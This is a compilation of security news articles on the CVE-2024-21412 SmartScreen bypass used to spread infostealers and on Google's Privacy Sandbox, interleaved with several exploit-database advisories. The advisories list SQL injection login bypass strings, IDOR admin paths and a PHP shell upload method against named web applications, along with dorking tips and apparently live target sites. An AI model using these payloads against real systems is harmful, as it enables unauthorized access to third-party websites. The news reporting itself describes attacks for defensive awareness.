The good news: Only organizations far behind on standard Windows patching have anything to worry about.

Source: dennizn via Alamy Stock Photo

A Microsoft Defender SmartScreen vulnerability that was patched in February is still being used in infostealing attacks across the globe.

CVE-2024-21412 — a "high" severity, 8.1 CVSS-scored security bypass bug in SmartScreen — was first disclosed and fixed on Feb. 13. Since then, it has been used in campaigns involving well-known infostealers like Lumma Stealer, Water Hydra, and DarkGate.

Now, five months later, Fortinet has flagged yet another campaign involving two more stealers: Meduza and ACR. Attacks thus far have reached the US, Spain, and Thailand.

Sometimes, organizations take their time updating third-party software. By contrast, "The attackers in this case are taking advantage of software that's native on Microsoft Windows, which would be updated in normal Microsoft patch cycles," notes Aamir Lakhani, global security strategist and researcher at Fortinet. "It's a little unclear and concerning when these vulnerabilities are not patched, because it could indicate there are other Microsoft vulnerabilities that are not being patched as well."

**A CVE-2024-21412 Attack Chain**

If you visit a website, or download a file or program that's known to be unsafe — or is suspicious for any number of other reasons — SmartScreen will step in and present you with that famous blue screen message: "Windows protected your PC." It's a simple, effective way to alert users to potentially dangerous cyber threats.

So consider how useful it would be to an attacker if they could simply disable that notification. This is what CVE-2024-21412 allows them to do.

In the latest campaign identified by Fortinet, the attackers are beating SmartScreen "through the combination of PowerShell trickery and hiding attacks in images and taking advantage of how those images are processed," Lakhani explains.

First, they lure victims with a URL that triggers the download of a shortcut (LNK) file. The LNK downloads an executable with an HTML Application (HTA) script with PowerShell code for retrieving decoy PDF files and malicious code injectors.

One of the injectors is more interesting than the other. After running anti-debugging checks, it downloads a JPG image file, then uses a Windows API to access its pixels and decode its bytes, wherein lies malicious code.

"These types of image-based attacks have been around a long time and, while they aren't as common as other types of attacks we typically observe, we still see them pop up over time because they are quite effective," Lakhani notes. "It's not surprising to see this attack, especially because \[steganography\] detection is often overlooked compared to other attack scenarios."

**Consequences to the Unpatched**

The stealers smuggled in through image files in this case get planted inside of legitimate Windows processes, at which point the gathering and exfiltration of data begins.

The kinds of information they aim for are broad. ACR, for example, steals from dozens of browsers (Google Chrome, Firefox), dozens of crypto wallets (Binance, Ledger Live), messenger apps (Telegram, WhatsApp), password managers (Bitwarden, 1Password), virtual private network (VPN) apps, email clients, file transfer protocol (FTP) clients, and more. 

Only organizations far behind on standard Windows patching have anything to worry about. Clearly, though, those organizations are out there.

"I would understand how individual software updates from smaller companies may be missed, but most organizations have regular Microsoft software patch updates, and this particular vulnerability remains open to attack," Lakhani says. To encourage better patching practices, he adds, "I think in all cases, software vendors need to give users alerts and notifications that critical security patches exist and should be installed when the software is launched or used."

**About the Author(s)**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

Cyberattackers Exploit Microsoft SmartScreen Bug in Stealer Campaign

SIM Wisuda version 1.0 suffers from an insecure direct object reference vulnerability.

**SIM Wisuda 1.0 Insecure Direct Object Reference**

Posted Jul 24, 2024

Authored by indoushka

SIM Wisuda version 1.0 suffers from an insecure direct object reference vulnerability.

tags | exploit

SHA-256 | 7fed84c74a95aca63927ebf377895e9a07606b145886012809d45f932101a348

Download | Favorite | View

**SIM Wisuda 1.0 Insecure Direct Object Reference**

    ====================================================================================================================================| # Title     : SIM Wisuda v1.0 IDOR Vulnerability                                                                                 || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   || # Vendor    : https://academic.uii.ac.id/wisuda/                                                                                 |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Direct Object Reference : suffers from an insecure direct object reference that allows users to access the administrative interface.[+] use payload : /login/apps/?menu=Lulusan[+] https://www/127.0.0.1/wisuda.uika-bogor.ac.id/login/apps/?menu=LulusanGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

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SIM Wisuda 1.0 Insecure Direct Object Reference

SLiMS CMS version 2.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    ====================================================================================================================================| # Title     : SLiMS CMS v2.0 Sql injection Vulnerability                                                                         || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   || # Vendor    : https://slims.web.id/web/news/slims-competition-plugin-and-template/                                               |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : "index.php?p=show_detail&id=471"<===== inject here[+] https://www/127.0.0.1/libman1blitarschid/index.php?p=show_detail&id=471Greetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

SLiMS CMS 2.0 SQL Injection

StarTask CRM version 1.9 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    ====================================================================================================================================| # Title     : StarTask CRM v1.9 Auth by Pass Vulnerability                                                                       || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.1 (64 bits)                                                   || # Vendor    : http://p30vel.ir.domains.blog.ir/                                                                                  |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : USer&Pass : 1' or 1=1 -- -[+] https://www/127.0.0.1/rkexpress.in/dash.phpGreetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

StarTask CRM 1.9 SQL Injection

UBM CMS version 1.2 suffers from an insecure direct object reference vulnerability.

    ====================================================================================================================================| # Title     : UBM CMS v1.2 IDOR Vulnerability                                                                                    || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.1 (64 bits)                                                   || # Vendor    : https://ubminfotech.com/                                                                                           |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : /admin/header.php [+] https://www/127.0.0.1/orrerydrugs.com/admin/header.php [+] Insecure Direct Object Reference : suffers from an insecure direct object reference that allows users to access the administrative interface.Greetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

UBM CMS 1.2 Insecure Direct Object Reference

TAIF LMS version 5.8.0 suffers from a remote shell upload vulnerability.

    ====================================================================================================================================| # Title     : TAIF LMS v5.8.0 shell upload Vulnerability                                                                         || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   || # Vendor    : http://lmsv3.mmgulf.com/public/                                                                                    |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] TAIF learning script contain arbitrary file upload[+] registered user can upload .php files in profile picture section without any security[+] profile link : localhost/demo/public/profile/show/[+] profile link : /demo/public/profile/show/[+] edit profile photo and upload php files and inspect element your php direction[+] uploaded file direction :local host /demo/public/images/user_img/16067501901.php <---- random id[+] just right click the photo and use inspect element you will have your directionGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

TAIF LMS 5.8.0 Shell Upload

Vencorp version 2.1.1 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    ====================================================================================================================================| # Title     : Vencorp v 2.1.1 Auth by Pass Vulnerability                                                                         || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   || # Vendor    : https://themeforest.net/item/elegant-responsive-html5-w-animated-metro-slider/5440458?ref=Venmond                  |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : USer = 'or''='@gmail.com pass = 'or''='[+] https://www/127.0.0.1/venmondcom/demo/vendroid/Greetings to :=================================================jericho * Larry W. Cashdollar *LiquidWorm * Hussin-X * D4NB4R |===============================================================

Vencorp 2.1.1 SQL Injection

Webdenim AppUI version 1.0 suffers from an insecure direct object reference vulnerability.

**Webdenim AppUI 1.0 Insecure Direct Object Reference**

Posted Jul 24, 2024

Authored by indoushka

Webdenim AppUI version 1.0 suffers from an insecure direct object reference vulnerability.

tags | exploit

SHA-256 | 3418251e6b23a29fe38369d103a67d4c4c7e084f78a767a8b4660ce397493457

Download | Favorite | View

**Webdenim AppUI 1.0 Insecure Direct Object Reference**

    ====================================================================================================================================| # Title     : Webdenim AppUI v1.0 IDOR Vulnerability                                                                             || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   || # Vendor    : https://codentheme.com/item/appui-free-responsive-html-vuejs-angularjs-admin-dashboard/                            |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Direct Object Reference : suffers from an insecure direct object reference that allows users to access the administrative interface.[+] use payload : //admin/header.php[+] https://www/127.0.0.1/listandrelaxcom/admin/header.phpGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

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Webdenim AppUI 1.0 Insecure Direct Object Reference

A now-patched security flaw in the Microsoft Defender SmartScreen has been exploited as part of a new campaign designed to deliver information stealers such as ACR Stealer, Lumma, and Meduza.
Fortinet FortiGuard Labs said it detected the stealer campaign targeting Spain, Thailand, and the U.S. using booby-trapped files that exploit CVE-2024-21412 (CVSS score: 8.1).
The high-severity

Malvertising / Threat Intelligence

A now-patched security flaw in the Microsoft Defender SmartScreen has been exploited as part of a new campaign designed to deliver information stealers such as ACR Stealer, Lumma, and Meduza.

Fortinet FortiGuard Labs said it detected the stealer campaign targeting Spain, Thailand, and the U.S. using booby-trapped files that exploit CVE-2024-21412 (CVSS score: 8.1).

The high-severity vulnerability allows an attacker to sidestep SmartScreen protection and drop malicious payloads. Microsoft addressed this issue as part of its monthly security updates released in February 2024.

"Initially, attackers lure victims into clicking a crafted link to a URL file designed to download an LNK file," security researcher Cara Lin said. "The LNK file then downloads an executable file containing an \[HTML Application\] script."

The HTA file serves as a conduit to decode and decrypt PowerShell code responsible for fetching a decoy PDF file and a shellcode injector that, in turn, either leads to the deployment of Meduza Stealer or Hijack Loader, which subsequently launches ACR Stealer or Lumma.

ACR Stealer, assessed to be an evolved version of the GrMsk Stealer, was advertised in late March 2024 by a threat actor named SheldIO on the Russian-language underground forum RAMP.

"This ACR stealer hides its \[command-and-control\] with a dead drop resolver (DDR) technique on the Steam community website," Lin said, calling out its ability to siphon information from web browsers, crypto wallets, messaging apps, FTP clients, email clients, VPN services, and password managers.

It's worth noting that recent Lumma Stealer attacks have also been observed utilizing the same technique, making it easier for the adversaries to change the C2 domains at any time and render the infrastructure more resilient, according to the AhnLab Security Intelligence Center (ASEC).

The disclosure comes as CrowdStrike has revealed that threat actors are leveraging last week's outage to distribute a previously undocumented information stealer called Daolpu, making it the latest example of the ongoing fallout stemming from the faulty update that has crippled millions of Windows devices.

The attack involves the use of a macro-laced Microsoft Word document that masquerades as a Microsoft recovery manual listing legitimate instructions issued by the Windows maker to resolve the issue, leveraging it as a decoy to activate the infection process.

The DOCM file, when opened, runs the macro to retrieve a second-stage DLL file from a remote that's decoded to launch Daolpu, a stealer malware equipped to harvest credentials and cookies from Google Chrome, Microsoft Edge, Mozilla Firefox, and other Chromium-based browsers.

It also follows the emergence of new stealer malware families such as Braodo and DeerStealer, even as cyber criminals are exploiting malvertising techniques promoting legitimate software such as Microsoft Teams to deploy Atomic Stealer.

"As cyber criminals ramp up their distribution campaigns, it becomes more dangerous to download applications via search engines," Malwarebytes researcher Jérôme Segura said. "Users have to navigate between malvertising (sponsored results) and SEO poisoning (compromised websites)."

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Microsoft Defender Flaw Exploited to Deliver ACR, Lumma, and Meduza Stealers

Google has taken a new turn in the approach to eliminating third-party cookies. This time it's back to the Privacy Sandbox

For more than a year, Google has said it would phase out the third-party tracking cookies that power much of its advertising business online, proposing new ideas that would allegedly preserve user privacy while still providing businesses with steady revenue streams.

This week, Google tossed much of that work aside.

In an update about Google’s Privacy Sandbox, the tech giant said that due to feedback from authorities and other stakeholders in advertising, it is looking at a new path forward in finding the balance between privacy and an ad-supported internet.

The underlying grounds for the difficulty in finding the balance are not hard to understand. The effectiveness of advertising is determined by whether you’re able to reach your target audience, but the processes involved in determining whether a website visitor belongs to your target audience or not often means that the website publisher gathers information about said visitor, which can quickly become a privacy issue.

The common method to track a visitor’s online behavior was and still involves third-party cookies. You can look at them as small files that your browser drags along the internet while sites record your interests and online behavior in them. They are the reason why you suddenly see advertisements for an article you have looked at in an online store.

When the advertising industry collectively decided they needed something better than cookies, Google introduced the Privacy Sandbox  as a “secure environment for personalization that also protects user privacy.” The idea was to get rid of third-party cookies altogether.

Later, Google started experimenting with FLoC, or “Federated Learning of Cohorts.” FLoC aimed to become a privacy-focused solution intent on delivering relevant ads by clustering large groups of people with similar interests. This way, user behavior would be processed as anonymized accounts, grouped by interests. Most importantly, user information would processed on-device rather than broadcast across the web.

The idea was to get rid of third-party cookies by 2022, but the implementation of FLoC caused so much push-back from privacy experts that Google abandoned the idea.

Then Google came up with Topics, an idea based on Privacy Sandbox where the user does not get tracked based on the sites they visit, but where each site displays contextual advertising, which means the ads match with the content on the page. But Google had to ask websites not to abuse the topics API and other browser developers showed no interest in adopting the API.

Despite Google Chrome’s browser market share (>60%), it does not have the influence needed to persuade its competitors. And the pressure is on, since other browsers like Safari and Firefox went ahead and already started blocking third-party cookies. Ironic, because the push to eliminate third-party cookies was set in motion by Google and now it’s lagging behind.

So, Google is back with a new path for the Privacy Sandbox. It proposes:

> “An updated approach that elevates user choice. Instead of deprecating third-party cookies, we would introduce a new experience in Chrome that lets people make an informed choice that applies across their web browsing, and they’d be able to adjust that choice at any time.”

Strengthened with a new feature called IP Protection in Chrome’s Incognito Mode, this should protect the user from being identified by third parties as a potential target IP address for web-wide cross-site tracking.

Does that mean there will be yet another prompt asking the user what they want? It looks like it. But first, Google intends to put out its feelers to find out what regulators and the advertising industry have to say about this new approach.

We have a feeling that this will not be the end of this saga, and we will keep our readers informed about new developments.

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